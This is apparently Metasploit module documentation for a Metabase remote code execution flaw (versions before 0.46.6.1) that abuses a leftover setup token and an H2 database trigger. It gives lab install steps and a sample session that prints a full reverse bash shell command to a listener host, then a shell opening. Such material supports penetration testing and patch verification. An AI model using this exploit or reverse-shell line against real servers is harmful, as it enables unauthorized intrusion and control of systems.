## Vulnerable Application

Metabase versions before 0.46.6.1 contain a flaw where the secret setup-token
is accessible even after the setup process has been completed. With this token
a user is able to submit the setup functionality to create a new database.
When creating a new database, an H2 database string is created with a TRIGGER
that allows for code execution. We use a sample database for our connection
string to prevent corrupting real databases.

Successfully tested against Metabase 0.46.6.

### Install

```
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
```

## Verification Steps

1. Install the application
1. Start msfconsole
1. Do: `use exploit/linux/http/metabase_setup_token_rce`
1. Do: `set rhosts [ip]`
1. Do: `run`
1. You should get a shell.

## Options

## Scenarios

### Metabase 0.46.6 on Docker

```
msf6 > use exploit/linux/http/metabase_setup_token_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/metabase_setup_token_rce) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(linux/http/metabase_setup_token_rce) > set lhost 111.111.11.111
lhost => 111.111.11.111
msf6 exploit(linux/http/metabase_setup_token_rce) > set verbose true
verbose => true
msf6 exploit(linux/http/metabase_setup_token_rce) > exploit

[+] bash -c '0<&46-;exec 46<>/dev/tcp/111.111.11.111/4444;sh <&46 >&46 2>&46'
[*] Started reverse TCP handler on 111.111.11.111:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version Detected: 0.46.6
[+] Found setup token: 45a2c97a-97f5-4a89-8f37-769b13411d16
[*] Sending exploit
[*] Command shell session 1 opened (111.111.11.111:4444 -> 222.22.2.2:55650) at 2023-07-28 12:48:47 +0000

id
uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)
```
